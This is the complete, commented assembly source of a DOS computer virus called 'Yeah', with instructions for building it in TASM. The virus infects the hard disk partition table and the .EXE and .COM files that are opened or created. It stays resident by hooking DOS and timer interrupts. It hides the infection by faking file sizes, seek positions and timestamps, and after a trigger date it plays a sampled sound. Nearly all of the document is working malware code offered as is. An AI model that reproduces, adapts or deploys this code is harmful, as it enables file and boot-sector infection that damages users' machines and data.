;------------------------------------------------------------------------------
;
; Virus Name:  Yeah   
; Origin:      Holland
; Eff Length:  4,096 bytes
; Type Code:   PRhE - Parasitic Resident .EXE & partition table infector
;
;------------------------------------------------------------------------------
;
; This program is assembled with TASM V1.01 from Borland International
; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
;
; TASM stealth;
; LINK stealth,,stealth;
;
;------------------------------------------------------------------------------
;
; Interrupt vectors
;
;------------------------------------------------------------------------------

iseg segment at 0
		org	8*4
Int8o		dw	0			; interrupt vector 21h
Int8s		dw	0

		org	1ch*4
Int1Co		dw	0			; interrupt vector 21h
Int1Cs		dw	0

		org	21h*4
Int21o		dw	0			; interrupt vector 21h
Int21s		dw	0

iseg ends

cseg segment public 'code'
		assume	cs:cseg,ds:cseg,es:cseg

;------------------------------------------------------------------------------
;
; Header of EXE-file
;
;------------------------------------------------------------------------------

VirusSize	equ	10d0h			; size of virus
PrgSize		equ	72h			; size of prg after the virus

Signature	dw	0			; signature 'MZ'
PartPage	dw	0			; size of partitial page
PageCount	dw	0			; number of pages
ReloCount	dw	0			; number of relocation items
HeaderSize	dw	0			; size of header
MinMem		dw	0			; minimum memory needed
MaxMem		dw	0			; maximum memory needed
ExeSS		dw	0			; initial SS 
ExeSP		dw	0 			; initial SP
CheckSum	dw	0			; unused ???
ExeIP		dw	0			; initial IP
ExeCS		dw	0			; initial CS
ReloOffset	dw	0			; offset of relocationtable
OverlayNr	dw	0			; number of overlay

ComSize		dw	-1			; Size of com-file (-1 for exe)

;------------------------------------------------------------------------------
;
; This procedure is called when starting from an exe-file
;
;------------------------------------------------------------------------------

Main:		pushf				; save flags
		sub	sp,4			; reserve space far cs:ip
		push	ax			; save other registers
		push	ds
		push	es
		sti				; enable interrupts
		cmp	cs:ComSize,-1		; com or exe-file
		je	ExeFile			; -1 : exe-file
ComFile:	mov	word ptr ds:[6],0fef0h	; set availeble memory to max
		mov	bp,sp			; set cs:ip on stack for
		mov	word ptr [bp+8],ds	;   returning to the orginal
		mov	word ptr [bp+6],100h	;   program
		mov	bp,ds			; bp : stacksegment
		mov	ax,cs			; bx : begin of com-file
		add	ax,(VirusSize/10h)
		mov	bx,ax
		mov	cx,0ff0h		; cx : size of data to move
		add	ax,cx			; es : buffer for mover and
		mov	es,ax			;      infecting the bootsect.
		push	cs			; ds : codesegment
		pop	ds
		jmp	short InfectBoot	; infect bootsector
ExeFile:	mov	dx,cs			; Relocation
		add	dx,(VirusSize/10h)
		mov	ds,dx
		mov	cx,ReloCount		; number of relocation items
		add	dx,HeaderSize		; size of exe-header
		mov	si,ReloOffset		; offset of 1st relocation item
		jcxz	NoRelo
NextRelo:	lodsw				; offset
		mov	di,ax
		lodsw				; segment
		add	ax,dx
		mov	es,ax
		mov	ax,cs			; relocation factor
		add	es:[di],ax
		loop	NextRelo		; next relocation item
NoRelo:		mov	bp,sp
		mov	ax,cs			; set cs:ip on stack for
		add	ax,ExeCS		;  returning to the orginal
		mov	[bp+8],ax		;  program
		mov	ax,ExeIP
		mov	[bp+6],ax
		mov	bp,cs			; bp : stacksegment
		add	bp,ExeSS
		mov	ax,PageCount		; calculate size of exe-file
		mov	dx,PartPage		; in paragraphs
		add	dx,-1
		sbb	ax,0
		mov	cl,4
		shr	dx,cl
		inc	dx
		inc	cl
		shl	ax,cl
		add	dx,ax
		add	dx,MinMem		; dx : size of exe-file
		mov	cx,dx			; cx : size of code and data
		sub	cx,HeaderSize
		mov	bx,cs			; bx : start of code and data
		mov	ds,bx
		add	bx,(VirusSize/10h)
		add	bx,dx
		mov	es,bx			; es : buffer for mover and
		sub	bx,cx			;      infecting the bootsect.
InfectBoot:	push	bx			; save bx and cx
		push	cx
		mov	ax,201h			; read bootsector from disk
		xor	bx,bx
		mov	cx,1
		mov	dx,80h
		int	13h
		jc	BootOk			; error ?
		mov	si,offset BootSector	; compare with infected code
		xor	di,di
		mov	cx,1*BootSize
		cld
		repe	cmpsb
		je	BootOk			; equal ?
		mov	di,1beh+8		; check partitions, we don't 
		mov	cx,4			; want to overwrite them
NextPartition:	cmp	word ptr es:[di+2],0
		ja	SectOk
		cmp	word ptr es:[di],(VirusSize+1ffh)/200h+1
		ja	SectOk
		cmp	word ptr es:[di],0
		ja	BootOk
SectOk:		add	di,10h
		loop	NextPartition
		mov	si,offset BootSector	; exchange code from bootsector
		xor	di,di			; with viral code
		mov	cx,1*BootSize
		cld
		call	Swapsb
		push	es			; write virus to disk
		pop	ds
		push	cs
		pop	es
		mov	ax,(VirusSize+1ffh)/200h+300h
		mov	cx,2
		int	13h
		push	ds
		pop	es
		push	cs
		pop	ds
		jc	BootOk			; error ?
		mov	ax,301h			; write bootsector to disk
		mov	cx,1
		int	13h
BootOk:		pop	cx			; restore bx and cx
		pop	bx
		mov	dx,cs			; dx = destenation segment
		xor	di,di
		push	es			; push seg:ofs of mover
		push	di
		push	cx			; save cx
		mov	cx,1*MoverSize
		mov	si,offset Mover
		cld					; copy mover-procedure
		rep	movsb
		pop	cx			; restore cx
		cli				; disable interrupts
		retf				; jump to mover

Mover:		mov	ax,cx			; save cx
		mov	ds,bx			; ds:si = source
		mov	es,dx			; es:di = destenation
		xor	si,si
		xor	di,di
		mov	cx,8h			; copy one paragraph
		rep	movsw
		inc	bx
		inc	dx
		mov	cx,ax			; restore cx
		loop	Mover			; next paragraph
		mov	ss,bp			; ss = new stacksegment
		sti				; enable interrupts
		pop	es			; restore registers
		pop	ds
		pop	ax
		iret				; jump to program

MoverSize	equ	($-Mover)

;------------------------------------------------------------------------------
;
; Bootsector startup
;
;------------------------------------------------------------------------------

Bootsector:	cli				; disable interrupts
		xor	bx,bx			; setup stack and ds
		mov	ds,bx
		mov	ss,bx
		mov	sp,7c00h
		sti				; enable interrupts
		mov	ax,ds:[413h]		; get size of base memory
		sub	ax,(VirusSize+3ffh)/400h; subtract virussize
		mov	ds:[413h],ax		; store new memory size
		mov	cl,6			; calculate segment
		shl	ax,cl
		mov	es,ax			; load virus in reserved mem
		mov	ax,(VirusSize+1ffh)/200h+200h
		mov	cx,2
		mov	dx,80h
		int	13h
		mov	bx,offset StartUp	; bx=offset startup
		push	es			; jump to startup (es:bx)
		push	bx
		retf

BootSize	equ	($-Bootsector)		; size of bootsector part

StartUp:	cli					; disable interrupts
		mov	ax,offset Interrupt1C		; hack interrupt 1C
		xchg	ax,ds:Int1Co
		mov	cs:OldInt1Co,ax
		mov	ax,cs
		xchg	ax,ds:Int1Cs
		mov	cs:OldInt1Cs,ax
		mov	cs:OldInt21o,-1
		mov	cs:OldInt21s,-1
		mov	cs:Count,-1
		sti				; enable interrupts
		push	cs			; ds=cs
		pop	es
		mov	si,7c00h		; di=7c00h (Bootsector)
		mov	di,offset BootSector	; si=BootSector
		mov	cx,1*BootSize		; bytes to copy
		cld				; copy forward
		call	Swapsb			; restore orginal boot
		mov	ax,7c00h		; offset bootsector
		push	ds			; jump to bootsector
		push	ax
		retf

Interrupt8:	push	ax			; save registers
		push	si
		push	ds
		push	cs
		pop	ds
		mov	si,SampleOffset		; get offset of next bit
		dec	byte ptr ds:SampleBit
		test	byte ptr ds:SampleBit,7
		jnz	OfsOk
		inc	si
		cmp	si,offset SampleEnd	; end of sample ?
		jb	OfsOk			; no, play bit
		mov	al,34h			; reset int 8 frequency
		out	43h,al
		xor	ax,ax
		out	40h,al
		out	40h,al
		mov	ds,ax			; reset int 8 vector
		mov	ax,cs:OldInt8o
		mov	ds:Int8o,ax
		mov	ax,cs:OldInt8s
		mov	ds:Int8s,ax		
		inc	byte ptr cs:SampleFlag	; set sample ready flag
		jmp	short ExitInt8		; end of interrupt
OfsOk:		mov	SampleOffset,si		; store offset
		rol	byte ptr ds:[si],1	; next bit
		mov	ah,ds:[si]		; get bit value
		and	ah,1
		shl	ah,1
		in	al,61h			; get value of io-port 61h
		and	al,0fch			; reset last 2 bits
		or	al,ah			; set bit 2 with sample value
		out	61h,al			; write to io-port 61h
ExitInt8:	mov	al,20h			; end of interrupt signal
		out	20h,al
		pop	ds			; restore registers
		pop	si
		pop	ax
		iret				; return to program

Interrupt1C:	push	ds			; save registers
		push	ax
		push	bx
		xor	ax,ax			; interrupts vectors
		mov	ds,ax
		mov	ax,ds:Int21o
		cmp	cs:OldInt21o,ax
		jne	Changed
		mov	ax,ds:Int21s
		cmp	cs:OldInt21s,ax
		je	Equal
Changed:	mov	ax,ds:Int21o
		mov	cs:OldInt21o,ax
		mov	ax,ds:Int21s
		mov	cs:OldInt21s,ax
		mov	cs:Count,182
		jmp	short NotReady
Equal:		dec	cs:Count
		jnz	NotReady
		mov	ax,cs:OldInt1Co		; restore vector 1C
		mov	ds:Int1Co,ax		; (This interrupt)
		mov	ax,cs:OldInt1Cs
		mov	ds:Int1Cs,ax
		mov	ax,offset Interrupt21	; Hack interrupt 21
		xchg	ax,ds:Int21o
		mov	cs:OldInt21o,ax
		mov	ax,cs
		xchg	ax,ds:Int21s
		mov	cs:OldInt21s,ax
		mov	ax,8
		mov	bx,offset Handle
NextHandle:	mov	word ptr cs:[bx],0
		inc	bx
		inc	bx
		dec	ax
		jnz	NextHandle
		mov	byte ptr cs:Active,-1
NotReady:	pop	bx
		pop	ax			; restore registers
		pop	ds
		jmp	cs:OldInt1C		; do orginal int 1C

Swapsb:		mov	al,es:[di]		; exchange two memory bytes
		xchg	al,ds:[si]
		stosb
		inc	si
		loop	Swapsb			; next byte
		ret				; return

;------------------------------------------------------------------------------
;
; Manipilated functions
;
;------------------------------------------------------------------------------

Functions	db	11h				; 1
		dw	offset FindFCB
		db	12h				; 2
		dw	offset FindFCB
		db	30h				; 3
		dw	offset DosVersion
		db	3ch				; 4
		dw	offset Open
		db	3dh				; 5
		dw	offset Open
		db	3eh				; 6
		dw	offset Close
		db	42h				; 7
		dw	offset Seek
		db	45h				; 8
		dw	offset Duplicate
		db	46h				; 9
		dw	offset Redirect
		db	4eh				; 10
		dw	offset Find
		db	4fh				; 11
		dw	offset Find
		db	5bh				; 12
		dw	offset Open
		db	6ch				; 13
		dw	offset OpenCreate

FunctionCount	equ	13

;------------------------------------------------------------------------------
;
; The orginal interrupt 21h is redirected to this procedure
;
;------------------------------------------------------------------------------

DosVersion:	push	ax
		push	cx
		push	dx
		push	ds
		push	cs
		pop	ds
		cmp	cs:Active,0
		je	NotActive
		mov	ah,2ah
		call	DOS
		cmp	ActiveYear,cx
		jb	NotActive
		cmp	ActiveDate,dx
		jb	NotActive
		cli
		xor	ax,ax
		mov	ds,ax
		mov	ax,offset Interrupt8
		xchg	ax,ds:Int8o
		mov	cs:OldInt8o,ax
		mov	ax,cs
		xchg	ax,ds:Int8s
		mov	cs:OldInt8s,ax
		mov	al,34h
		out	43h,al
		mov	al,80h
		out	40h,al
		mov	al,0
		out	40h,al
		push	cs
		pop	ds
		mov	byte ptr SampleFlag,0
		mov	byte ptr SampleBit,0
		mov	word ptr SampleOffset,offset SampleData
		sti
Delay:		cmp	byte ptr SampleFlag,0
		je	Delay
		mov	byte ptr Active,0
NotActive:	pop	ds
		pop	dx
		pop	cx
		pop	ax
		jmp	Old21

FindFCB:	call	DOS			; call orginal interrupt
		cmp	al,0			; error ?
		jne	Ret1
		pushf				; save registers
		push	ax
		push	bx
		push	es
		mov	ah,2fh			; get DTA
		call	DOS
		cmp	byte ptr es:[bx],-1	; extended fcb ?
		jne	FCBOk
		add	bx,8			; yes, skip 8 bytes
FCBOk:		mov	al,es:[bx+16h]		; get file-time (low byte)
		and	al,1fh			; seconds
		cmp	al,1fh			; 62 seconds ?
		jne	FileOk			; no, file not infected
		sub	word ptr es:[bx+1ch],VirusSize
		sbb	word ptr es:[bx+1eh],0	; adjust file-size
		jmp	short Time

Find:		call	DOS			; call orginal interrupt
		jc	Ret1			; error ?
		pushf				; save registers
		push	ax
		push	bx
		push	es
		mov	ah,2fh
		call	DOS
		mov	al,es:[bx+16h]		; get file-time (low byte)
		and	al,1fh			; seconds
		cmp	al,1fh			; 62 seconds ?
		jne	FileOk			; no, file not infected
		sub	word ptr es:[bx+1ah],VirusSize
		sbb	word ptr es:[bx+1ch],0	; change file-size
Time:		xor	byte ptr es:[bx+16h],1fh; adjust file-time
FileOk:		pop	es			; restore registers
		pop	bx
		pop	ax
		popf
Ret1:		retf	2			; return

Seek:		or	bx,bx			; bx=0 ?
		jz	Old21			; yes, do orginal interrupt
		push	bx
		call	FindHandle
		pop	bx
		jc	Old21
Stealth:	or	al,al			; seek from top of file ?
		jnz	Relative		; no, don't change cx:dx
		add	dx,VirusSize		; change cx:dx
		adc	cx,0
Relative:	call	DOS			; Execute orginal int 21h
		jc	Ret1			; Error ?
		sub	ax,VirusSize		; adjust dx:ax
		sbb	dx,0
		jmp	short Ret1		; return

Close:		or	bx,bx			; bx=0 ?
		je	Old21			; yes, do orginal interrupt
		push	ax
		push	cx
		push	dx
		push	si
		push	ds
		push	cs			; ds=cs
		pop	ds
		push	bx
		call	FindHandle
		mov	si,bx
		pop	bx
		jc	NotStealth
		mov	word ptr ds:[si],0
		call	UpdateHeader
NotStealth:	pop	ds			; restore registers
		pop	si
		pop	dx
		pop	cx
		pop	ax
Not2:		jmp	short Old21		; continue with orginal int

Interrupt21:	push	bx			; after an int 21h instruction
		push	cx			; this procedure is started
		mov	bx,offset Functions
		mov	cx,FunctionCount
NxtFn:		cmp	ah,cs:[bx]		; search function
		je	FunctionTrap
		add	bx,3
		loop	NxtFn
		pop	cx			; function not found
		pop	bx
Old21:		jmp	cs:OldInt21

FunctionTrap:	push	bp			; function found, start viral
		mov	bp,sp			; version of function
		mov	bx,cs:[bx+1]
		xchg	bx,[bp+4]
		mov	cx,[bp+10]
		xchg	cx,[bp+2]
		pop	bp
		popf
		ret

Duplicate:	call	DOS
		jc	Error
		pushf
		push	bx
		call	FindHandle
		jc	Ret3
		mov	bx,ax
		call	StoreHandle
Ret3:		pop	bx
		popf
		jmp	Ret2

Redirect:	call	DOS
		jc	Error
		pushf
		push	bx
		push	cx
		xchg	bx,cx
		call	FindHandle
		jc	Ret4
		mov	cs:[bx],cx
Ret4:		pop	cx
		pop	bx
		popf
		jmp	Ret2

OpenCreate:	or	al,al			; extended open/create function
		jne	Old21			; no, do orginal interrupt 21
		push	dx			; save dx
		mov	dx,si			; check extension of filename
		call	CheckName
		pop	dx			; retore dx
		jc	Old21			; exe or com-file?
		jmp	short ExtensionOk	; yes, infect file or use
						; stealth

Open:		call	CheckName		; exe or com-file ?
		jc	Old21			; no, do orginal int 21
ExtensionOk:	call	DOS			; do interrupt 21
		jnc	NoError			; error ?
Error:		jmp	Ret2			; yes, return and do nothing
NoError:	pushf				; save registers
		push	ax
		push	bx
		push	cx
		push	dx
		push	ds
		push	cs
		pop	ds
		mov	bx,ax			; bx = file handle
		mov	ax,4400h		; get device information
		call	DOS
		jc	PopRet			; error ?
		test	dx,80h			; character device
		jnz	PopRet			; yes, return and do nothing
		call	EndOfFile		; get file size
		or	ax,dx			; 0 ?
		jnz	FileExists		; no, file already existed
FileCreated:	call	HandleFree
		jc	PopRet
		mov	ah,2ah
		call	DOS
		add	dh,3
		cmp	dh,12
		jbe	DateOk
		inc	cx
		sub	dh,12
DateOk:		mov	ActiveYear,cx
		mov	ActiveDate,dx
		mov	ah,40h			; write virus to file
		mov	cx,VirusSize
		call	Zero2
		jc	NoVir			; error ? yes, return
		xor	ax,cx			; entire virus written ?
		jnz	NoVir			; no, return
		call	StoreHandle
		jmp	short PopRet		; return
FileExists:	call	TopOfFile		; go to top of file
		call	HandleFree
		jc	PopRet			; no, do nothing
		call	ReadHeader		; read exe-header
		jc	NoVir			; error ?
		xor	ax,cx			; entire header read
		jne	NoVir			; no, not infected
		cmp	Signature,5a4dh		; signature = 'MZ' ?
		jne	NoVir			; no, not infected
		cmp	HeaderSize,ax		; headersize = 0 ?
		jne	NoVir			; no, not infected
		cmp	CheckSum,0DEADh		; checksum = DEAD hex
		jne	NoVir			; no, not infected
		call	StoreHandle
		mov	dx,VirusSize		; seek to end of virus
		jmp	short Infected
NoVir:		xor	dx,dx
Infected:	xor	cx,cx			; go to end of virus if file
		mov	ax,4200h		; is infected
		call	DOS
PopRet:		pop	ds			; restore registers
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		popf
Ret2:		retf	2			; return

;------------------------------------------------------------------------------

EndOfFile:	mov	ax,4202h		; go to end of file
		jmp	short Zero1

TopOfFile:	mov	ax,4200h		; go to top of file
Zero1:		xor	cx,cx
		jmp	short Zero2

WriteHeader:	mov	ah,40h			; write exe-header to file
		jmp	short Hdr

ReadHeader:	mov	ah,3fh			; read exe-header from file
Hdr:		mov	cx,1eh
Zero2:		xor	dx,dx

DOS:		pushf				; call orginal interrupt
		call	cs:OldInt21
		ret

FindHandle:	push	ax
		push	cx
		mov	ax,bx
		mov	bx,offset Handle
		mov	cx,8
NotFound:	cmp	ax,cs:[bx]
		je	Found
		inc	bx
		inc	bx
		loop	NotFound
		stc
Found:		pop	cx
		pop	ax
		ret

HandleFree:	push	bx
		xor	bx,bx
		call	FindHandle
		pop	bx
		ret

StoreHandle:	push	bx
		push	bx
		xor	bx,bx
		call	FindHandle
		pop	cs:[bx]
		pop	bx
		ret

CheckName:	push	ax			; check for .exe or .com
		push	cx			; save registers
		push	si
		push	di
		xor	ah,ah			; point found = 0
		mov	cx,100h			; max length filename = 100h
		mov	si,dx			; si = start of filename
		cld
NxtChr:		lodsb				; get byte
		or	al,al			; 0 ?
		je	EndName			; yes, check extension
		cmp	al,'\'			; \ ?
		je	Slash			; yes, point found = 0
		cmp	al,'.'			; . ?
		je	Point			; yes, point found = 1
		loop	NxtChr			; next character
		jmp	short EndName		; check extension
Slash:		xor	ah,ah			; point found = 0
		jmp	NxtChr			; next character
Point:		inc	ah			; point found = 1
		mov	di,si			; di = start of extension
		jmp	NxtChr			; next character
EndName:	cmp	ah,1			; point found = 0
		jne	NotExe			; yes, not an exe-file
		mov	si,di			; si = start of extension
		lodsw				; first 2 characters
		and	ax,0dfdfh		; uppercase
		mov	cx,ax
		lodsb				; 3rd character
		and	al,0dfh			; uppercase
		cmp	cx,04f43h		; extension = .com ?
		jne	NotCom
		cmp	al,04dh
		je	ChkRet
NotCom:		cmp	cx,05845h		; extension = .exe ?
		jne	NotExe
		cmp	al,045h
		je	ChkRet
NotExe:		stc				; set carry flag
ChkRet:		pop	di			; restore registers
		pop	si
		pop	cx
		pop	ax
		ret				; return

UpdateHeader:	mov	ax,4200h		; position read/write pointer
		xor	cx,cx			; at the end of the virus
		mov	dx,VirusSize
		call	DOS
		call	ReadHeader		; read orginal exe-header
		cmp	Signature,5a4dh
		je	InfectExe
InfectCom:	mov	Signature,5a4dh
		mov	ReloOffset,01ch
		mov	OverlayNr,0
		mov	ExeSS,(VirusSize-100h)/10h
		mov	ExeSP,0fffeh
		call	EndOfFile
		sub	ax,VirusSize
		sbb	dx,0
		mov	ComSize,ax
		mov	cx,10h
		div	cx
		sub	dx,1
		mov	dx,0ff2h+20h
		sbb	dx,ax
		mov	MinMem,dx
		jmp	WriteIt
InfectExe:	mov	ComSize,-1
		mov	ax,(VirusSize/10h)
		add	ax,HeaderSize
		add	ExeSS,ax
		add	MinMem,20h
		add	MaxMem,20h
		jnc	MaxOk
WriteIt:	mov	MaxMem,0ffffh
MaxOk:		mov	ReloCount,0
		mov	HeaderSize,0
		mov	CheckSum,0DEADh
		mov	ExeCS,0
		mov	ExeIP,offset Main
		call	EndOfFile
		mov	cx,200h
		div	cx
		mov	PartPage,dx
		add	dx,-1
		adc	ax,0
		mov	PageCount,ax
		call	TopOfFile
		call	WriteHeader		; write header at the top of
		jc	InfErr			; the virus
		mov	ax,5700h
		call	DOS
		mov	ax,5701h
		or	cl,1fh
		call	DOS
InfErr:		ret

;------------------------------------------------------------------------------
;
; Data to generate the 123 yeah sound
;
;------------------------------------------------------------------------------

SampleData	db	07dh,075h,05fh,0ffh,0ffh,0ffh,0ffh,0a0h,03fh,007h,0f8h,03ch,007h,0e0h,07fh,003h
		db	0c0h,0f8h,00fh,0c0h,0f0h,07ch,00fh,0c0h,0f8h,0f0h,01fh,081h,0ffh,081h,0fch,00ch
		db	07eh,007h,0f0h,071h,0f0h,03fh,007h,00fh,083h,0f0h,071h,0f8h,03fh,007h,01fh,003h
		db	0e0h,0e3h,0e0h,07ch,000h,0fch,00fh,080h,03fh,003h,0e0h,01fh,0c0h,0fch,007h,0f0h
		db	03fh,003h,0f8h,00fh,0c0h,0feh,003h,0f0h,07fh,001h,0f8h,03fh,0c0h,07eh,007h,0fch
		db	03fh,001h,0f8h,01eh,01fh,002h,03eh,00fh,0c0h,03fh,007h,0f0h,01fh,007h,0fch,00fh
		db	082h,0ffh,00fh,086h,00fh,038h,03eh,004h,03ch,01fh,008h,03eh,01fh,008h,03eh,00fh
		db	000h,07ch,00fh,080h,07ch,007h,0e0h,078h,0e1h,0f0h,0f0h,0e1h,0f0h,0f0h,0f0h,0f1h
		db	0e1h,0f0h,0e1h,0e1h,0f0h,0e3h,0c3h,0f0h,0cfh,007h,0f0h,01eh,00fh,0f0h,03eh,01eh
		db	078h,03ch,01ch,078h,038h,03ch,078h,078h,07ch,070h,0f0h,078h,0e1h,0c0h,070h,0c3h
		db	058h,061h,08eh,078h,0e3h,01ch,071h,0c6h,03ch,0e3h,08eh,030h,0e7h,01ch,071h,0c6h
		db	038h,0e1h,08eh,038h,0e3h,09ch,071h,0c7h,01ch,0f1h,0c7h,018h,0e3h,007h,038h,0e7h
		db	00fh,000h,0efh,00fh,001h,0e6h,00fh,0c1h,0e3h,01eh,003h,0e3h,08eh,0e1h,0dfh,087h
		db	0e1h,0c3h,0c6h,070h,07fh,003h,0f0h,073h,0f0h,03eh,007h,0ech,007h,0e0h,078h,070h
		db	07eh,00fh,00fh,007h,0c2h,063h,0e0h,07eh,008h,0f8h,01fh,080h,03eh,003h,0f0h,01fh
		db	080h,0fch,007h,0f0h,03fh,001h,0f8h,00fh,0c0h,0feh,003h,0f0h,01fh,0c0h,0f8h,01fh
		db	0e0h,07ch,01fh,0f0h,03eh,00fh,080h,01fh,00fh,0f0h,01fh,007h,0d0h,00fh,007h,0c3h
		db	00fh,007h,082h,00fh,007h,0c0h,00fh,007h,0c3h,00fh,007h,080h,00fh,007h,00ah,01fh
		db	00fh,08eh,01eh,01eh,00eh,03ch,01eh,01ch,03ch,03ch,018h,078h,07ch,018h,0f0h,078h
		db	0f1h,0f0h,0f0h,0e1h,0e1h,0e0h,0c3h,0c3h,0e1h,0c7h,083h,0c3h,08fh,00fh,003h,01eh
		db	01eh,00eh,01ch,03eh,01ch,078h,078h,038h,0f0h,0f0h,031h,0e1h,0ech,063h,0c3h,0c8h
		db	0c7h,087h,0f1h,08fh,00ch,0e3h,01eh,01bh,0c7h,01ch,027h,08eh,038h,047h,01ch,079h
		db	08eh,038h,071h,01eh,038h,0f2h,01ch,070h,0d6h,038h,0f1h,0c0h,038h,0f1h,0e0h,078h
		db	001h,0e4h,07dh,0f0h,0e0h,018h,018h,0f6h,03ch,088h,070h,01fh,0ech,078h,006h,004h
		db	03fh,087h,0f2h,01ch,083h,0fbh,01fh,0e1h,0f8h,007h,0f0h,0ffh,0c3h,0f8h,003h,0c0h
		db	0ffh,001h,0f8h,007h,080h,03fh,001h,0e0h,00ch,086h,07ch,063h,0c0h,01fh,060h,0fch
		db	023h,080h,038h,003h,0e0h,038h,0c0h,018h,0c7h,0f8h,0c7h,000h,000h,001h,0c7h,0b8h
		db	060h,008h,006h,01fh,0c7h,018h,002h,030h,00eh,03ch,01ch,000h,000h,001h,0f8h,01ch
		db	001h,087h,081h,0e1h,080h,0cch,006h,000h,0c6h,060h,000h,008h,007h,080h,000h,020h
		db	0e2h,000h,000h,020h,008h,008h,063h,0ech,004h,023h,024h,062h,08ch,0abh,052h,02dh
		db	0a8h,004h,09bh,034h,0a5h,0c6h,092h,0b4h,0a6h,099h,012h,0c1h,09dh,0a0h,02ch,0dbh
		db	034h,0cdh,0a8h,044h,098h,0f6h,024h,003h,07fh,0a0h,040h,01bh,0feh,000h,00bh,0ffh
		db	080h,001h,0ffh,0c0h,000h,0ffh,0f0h,000h,07fh,0f8h,000h,03fh,0f8h,000h,03fh,0f0h
		db	000h,03fh,0f8h,000h,03fh,0f0h,000h,07fh,0c0h,003h,0ffh,0c0h,003h,0ffh,000h,005h
		db	0feh,04eh,01dh,0e0h,031h,0ffh,000h,0c7h,0feh,000h,01fh,0feh,000h,03fh,0feh,000h
		db	03fh,0ffh,080h,03fh,0ffh,000h,047h,0f9h,082h,007h,0e7h,08ch,00fh,09fh,070h,03eh
		db	07fh,0c0h,071h,0bfh,000h,0e7h,07ch,003h,09fh,0f8h,00eh,03fh,0e0h,018h,0f7h,0c0h
		db	073h,0ffh,001h,0c7h,0fch,003h,00eh,0f8h,00eh,03fh,0e0h,018h,06fh,0c0h,070h,09fh
		db	080h,0e3h,07eh,003h,0c6h,0fch,007h,083h,0f8h,00eh,007h,0f0h,01ch,06fh,0c0h,078h
		db	01fh,0c0h,0f1h,07fh,001h,0e0h,0ffh,003h,0c1h,0feh,003h,083h,0fch,007h,007h,0f8h
		db	00fh,00fh,078h,00eh,00eh,0f8h,01eh,01eh,0f0h,01eh,03ch,0f0h,01ch,03dh,0e1h,05ch
		db	039h,0e1h,018h,07bh,0c2h,038h,073h,0c3h,038h,0f3h,086h,038h,0e7h,086h,070h,0e3h
		db	086h,070h,0e3h,084h,070h,0e3h,086h,070h,0e7h,08ch,070h,0e7h,08eh,070h,0e3h,086h
		db	071h,0c3h,086h,078h,0e3h,080h,079h,0e3h,082h,038h,0f1h,0c3h,01ch,0f9h,0c3h,01ch
		db	078h,0c1h,01eh,078h,0e1h,08fh,03ch,070h,08fh,03ch,030h,067h,08eh,038h,073h,086h
		db	018h,07bh,087h,08eh,03ch,0e3h,08fh,038h,060h,0e7h,08ch,038h,0f3h,087h,00eh,078h
		db	0c3h,01eh,070h,070h,0e7h,086h,021h,0e7h,007h,08ch,078h,00eh,03eh,0e0h,0f1h,0cfh
		db	000h,0f1h,0e7h,007h,01ch,078h,0c7h,01eh,078h,070h,0c7h,08eh,030h,067h,0c7h,08eh
		db	018h,0f3h,007h,070h,07ch,079h,0c1h,019h,033h,004h,0e3h,0cfh,003h,087h,03ch,070h
		db	0f1h,0c7h,00eh,03ch,0f1h,0e1h,087h,09ch,038h,061h,0e7h,08fh,01ch,03fh,087h,03ch
		db	00fh,0f3h,0c3h,086h,03ch,0f0h,018h,05fh,03eh,030h,0f1h,087h,0c6h,00fh,0f0h,0e3h
		db	0c7h,01fh,00eh,03ch,071h,087h,08eh,01fh,018h,079h,0c3h,08fh,01ch,01eh,018h,0f1h
		db	0e0h,007h,0cch,01eh,038h,071h,0e0h,0c7h,0c6h,01ch,07ch,0e0h,01ch,078h,07fh,010h
		db	07fh,0e0h,018h,0e1h,0cfh,018h,0e1h,0c0h,038h,0e7h,0c0h,01ch,079h,087h,038h,023h
		db	0ech,018h,0f1h,082h,078h,003h,0c6h,018h,07bh,0c1h,0f8h,001h,0cfh,018h,079h,0c1h
		db	00eh,038h,073h,0ddh,019h,0f1h,007h,03ch,070h,0e7h,008h,078h,0c3h,00eh,078h,023h
		db	08eh,018h,073h,0c7h,09eh,030h,0c3h,08eh,018h,0f1h,0c7h,00ch,070h,0e3h,08eh,03ch
		db	071h,0c3h,01ch,038h,0e1h,08fh,01ch,070h,0c7h,08eh,038h,061h,0c7h,01eh,038h,0e1h
		db	08fh,01ch,071h,0e7h,08ch,038h,0e3h,0c6h,01ch,078h,0e1h,00eh,01ch,078h,0c7h,08eh
		db	03ch,031h,0c3h,08fh,028h,070h,0e3h,086h,01ch,038h,0f1h,087h,00eh,038h,071h,0c3h
		db	08fh,01ch,078h,0e1h,0c3h,00eh,01ch,078h,0e1h,0c3h,08eh,01ch,078h,071h,0c1h,08fh
		db	08fh,0f8h,03dh,0f8h,018h,007h,0feh,002h,007h,0feh,006h,003h,0ffh,083h,0c1h,0ffh
		db	0c1h,081h,0f7h,0d1h,0c0h,0ffh,0c0h,0c1h,0f3h,0e1h,0c1h,0f7h,0e0h,0c1h,0e3h,0e1h
		db	0c1h,0e3h,0c1h,0c1h,0e3h,0c3h,083h,0c7h,083h,083h,0c7h,087h,007h,08fh,086h,00fh
		db	09eh,01ch,01eh,01ch,03ch,01ch,03ch,038h,078h,038h,0f0h,0f8h,0e0h,0f1h,0f1h,0c1h
		db	0e1h,0f3h,083h,087h,0deh,006h,00fh,03eh,01ch,03ch,07ch,038h,07ch,0f8h,060h,0ffh
		db	0c7h,083h,087h,087h,083h,00fh,00fh,087h,01fh,01fh,007h,09fh,01eh,007h,087h,00fh
		db	00fh,00fh,00fh,00eh,01eh,01eh,01ch,01eh,03eh,00ch,03ch,03eh,00ch,03ch,03eh,01ch
		db	01ch,07ch,03ch,038h,0f8h,078h,0f0h,0f0h,0f0h,0f1h,0f1h,0c1h,0f1h,0e3h,083h,0e1h
		db	0c0h,047h,0c7h,0c1h,08fh,00fh,086h,01eh,00fh,018h,078h,01ch,061h,0fch,071h,08eh
		db	071h,0c6h,031h,0c7h,030h,0c7h,018h,0e3h,08ch,0e3h,09eh,023h,08eh,078h,00eh,039h
		db	0c0h,078h,07fh,0e1h,0e0h,0f9h,0c3h,080h,0f3h,00fh,003h,0cch,03ch,0cfh,010h,073h
		db	01eh,0e0h,0c6h,07dh,007h,001h,0fch,004h,041h,0f3h,080h,0b1h,0eeh,040h,067h,01ch
		db	039h,09eh,03ch,0e6h,038h,003h,09ch,063h,00eh,079h,087h,00dh,0c7h,00ch,007h,08eh
		db	018h,00fh,09eh,006h,01fh,01fh,00ch,03eh,03eh,006h,03ch,01ch,01ch,07eh,03ch,038h
